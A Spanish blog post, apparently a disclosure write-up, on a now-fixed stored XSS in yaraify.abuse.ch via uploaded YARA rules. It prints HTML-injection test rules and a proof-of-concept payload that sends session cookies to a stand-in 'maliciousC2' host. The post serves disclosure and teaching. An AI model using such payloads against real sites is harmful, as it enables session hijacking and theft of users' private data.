De regla YARA a XSS.

Posted on

Explotando XSS almacenado a través de una regla YARA.

Esta era una vulnerabilidad que permitía desde una regla YARA, inyectar XSS almacenados para secuestrar cookies o realizar phishing. Además, gracias a estas YARAs se consigue saltar las cabeceras HTTP anti-XSS:

X-XSS-Protection: 1; mode=block

Content-Security-Policy: default-src 'self' ...

Y sin ningún tipo de codificación/ofuscamiento previo en el script:

<script>alert(1)</script>

La vulnerabilidad fue encontrada y reportada a yaraify.abuse.ch . La funcionalidad de la web es subir/modificar reglas YARA y matchear contra todo nuevo fichero que se suba (similar a lo que ofrece VT pero sin tanto $).

página web yaraify

Además de subir una regla YARA, el servicio web también permite definir si se quiere publicar la regla o ponerla privada o un estado intermedio.

Para probar la funcionalidad exporto algunas YARAs de VT y las subo directamente. Al visualizar una de estás reglas, el texto estaba descuadrado y en algunas partes se interpretaba el formato de texto.

Para entender mejor que pasaba, este es un ejemplo en el que una de las variable veia afectado su formato:
$var2 = "E<ul><li>Press <b>Install</b> button to start extraction [...]

La página web en lugar de usar los caracteres como mayor ‘<‘ y menor ‘>’ para la regla YARA, los interpretar también como etiquetas HTML.

Subo una regla de prueba para validar este comportamiento:

rule testHTML {
  meta:
    author = "@razvialex"
    yarahub_author_twitter = "<a href='http://phisingTwitterWEB.com'>razvialex</a>"
  strings:
    $0 = "Example of http injection:<b>bold text</b>.<h1>Title h1</h1>"
  condition:
    all of them }

Una vez subida, cuando accedo para ver la regla.

Valido que existe inyección HTML, toca probar si también inyección XSS (temiendo que está vez no funcionase debido a las cabeceras Content Security Policy y compañía). Sin embargo:

Parece que funciona también. Hay ejecución de javascript. Aunque creo que no es suficiente mostrar esto en un informe porque no ejemplifica nada el peligro real de un XSS (como por ejemplo: modificar por completo la interfaz, la lógica, secuestro de cookies, phising..)

Monto una pequeña POC, en la que cualquier usuario que navega para visualizar mi propia YARA, va a enviar un servidor externo su cookie de sesión (con la cual entre otras cosas se podría ver las reglas privadas suyas):

rule testXSS {
 meta:
  [..]
 strings:
  [..]
  $1 = "Example of XSS: <script>document.write(src='http://maliciousC2/?'+'Cookie: '+document.cookie);</script>" }

Y POC terminada.

secuestrando una cookie a través de un XSS almacenando en una regla YARA

Conclusión, al final del día, si la entrada del usuario no se valida o sanitiza, es posible que en algún momento, debido a otras funcionalidades adicionales que se añadan, las cabeceras de seguridad por sí solas no sean suficiente protección.

Validar siempre cualquier entrada externa (campos de texto, cabeceras, etc. que se procesan) y sanitizar los datos. Nunca confiar en una entrada de usuario.

Está vulnerabilidad fue reportada y solucionada hace unos meses a https://yaraify.abuse.ch/

Categoriesweb